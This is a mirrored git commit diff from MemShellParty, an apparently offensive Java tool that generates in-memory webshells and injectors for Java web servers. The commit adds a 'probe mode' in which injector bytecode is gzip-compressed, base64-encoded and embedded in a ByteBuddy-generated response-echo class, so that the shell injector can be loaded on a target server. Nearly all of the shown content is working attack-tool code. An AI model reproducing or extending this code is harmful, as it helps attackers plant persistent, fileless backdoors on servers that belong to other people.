mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 15:10:43 +08:00
feat: support probe mode
This commit is contained in:
@@ -6,7 +6,13 @@ import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
import com.reajason.javaweb.probe.ProbeContent;
|
||||
import com.reajason.javaweb.probe.ProbeMethod;
|
||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
@@ -59,6 +65,25 @@ public class MemShellGenerator {
|
||||
|
||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||
byte[] injectorBytes = injectorGenerator.generate();
|
||||
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||
.shellClassName(injectorConfig.getInjectorClassName() + "1")
|
||||
.probeMethod(ProbeMethod.ResponseBody)
|
||||
.probeContent(ProbeContent.Bytecode)
|
||||
.targetJreVersion(shellConfig.getTargetJreVersion())
|
||||
.byPassJavaModule(shellConfig.isByPassJavaModule())
|
||||
.shrink(shellConfig.isShrink())
|
||||
.debug(shellConfig.isDebug())
|
||||
.staticInitialize(injectorConfig.isStaticInitialize())
|
||||
.build();
|
||||
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
||||
.server(serverName)
|
||||
.base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
|
||||
.build();
|
||||
injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
|
||||
injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
|
||||
}
|
||||
|
||||
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||
|
||||
return MemShellResult.builder()
|
||||
|
||||
@@ -55,6 +55,12 @@ public class ShellConfig {
|
||||
@Builder.Default
|
||||
private boolean debug = false;
|
||||
|
||||
/**
|
||||
* 是否使用回显模式
|
||||
*/
|
||||
@Builder.Default
|
||||
private boolean probe = false;
|
||||
|
||||
/**
|
||||
* 是否启用缩小字节码
|
||||
*/
|
||||
@@ -71,7 +77,6 @@ public class ShellConfig {
|
||||
return !debug;
|
||||
}
|
||||
|
||||
|
||||
public boolean isJakarta() {
|
||||
return shellType.startsWith(ShellType.JAKARTA);
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Collections;
|
||||
@@ -49,6 +50,9 @@ public abstract class AbstractServer {
|
||||
}
|
||||
|
||||
public Pair<Class<?>, Class<?>> getShellInjectorPair(String shellTool, String shellType) {
|
||||
if (StringUtils.isBlank(shellTool)) {
|
||||
throw new IllegalArgumentException("shellTool is required");
|
||||
}
|
||||
ToolMapping mapping = map.get(shellTool);
|
||||
if (mapping == null) {
|
||||
throw new UnsupportedOperationException("please implement shell type: " + shellType + " for " + shellTool);
|
||||
|
||||
@@ -13,5 +13,14 @@ import lombok.experimental.SuperBuilder;
|
||||
@ToString
|
||||
public class ResponseBodyConfig extends ProbeContentConfig {
|
||||
private String server;
|
||||
|
||||
/**
|
||||
* 获取参数的请求头或请求参数名称
|
||||
*/
|
||||
private String reqParamName;
|
||||
|
||||
/**
|
||||
* 内置执行类加载的字节码
|
||||
*/
|
||||
private String base64Bytes;
|
||||
}
|
||||
|
||||
+10
-5
@@ -36,14 +36,19 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
|
||||
Class<?> writerClass = getWriterClass();
|
||||
Class<?> runnerClass = getRunnerClass();
|
||||
return buddy.redefine(writerClass)
|
||||
DynamicType.Builder<?> builder = buddy.redefine(writerClass)
|
||||
.name(probeConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
|
||||
.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
|
||||
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
||||
.visit(Advice.withCustomMapping().bind(NameAnnotation.class, name)
|
||||
.to(getDataFromReqInterceptor).on(named("getDataFromReq")))
|
||||
.visit(Advice.to(runnerClass).on(named("run")));
|
||||
if (StringUtils.isNotBlank(probeContentConfig.getReqParamName())) {
|
||||
builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
|
||||
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
||||
.visit(Advice.withCustomMapping().bind(NameAnnotation.class, name)
|
||||
.to(getDataFromReqInterceptor).on(named("getDataFromReq")));
|
||||
} else if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent())) {
|
||||
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(probeContentConfig.getBase64Bytes()));
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
|
||||
private Class<?> getRunnerClass() {
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
package com.reajason.javaweb.utils;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.security.SecureRandom;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashSet;
|
||||
@@ -45,7 +46,8 @@ public class CommonUtil {
|
||||
"Checker"
|
||||
};
|
||||
|
||||
public static byte[] gzipCompress(byte[] data) throws IOException {
|
||||
@SneakyThrows
|
||||
public static byte[] gzipCompress(byte[] data) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
|
||||
gzip.write(data);
|
||||
@@ -53,7 +55,8 @@ public class CommonUtil {
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] data) throws IOException {
|
||||
@SneakyThrows
|
||||
public static byte[] gzipDecompress(byte[] data) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
try (GZIPInputStream gzip = new GZIPInputStream(new ByteArrayInputStream(data))) {
|
||||
byte[] buffer = new byte[1024];
|
||||
|
||||
Reference in New Issue
Block a user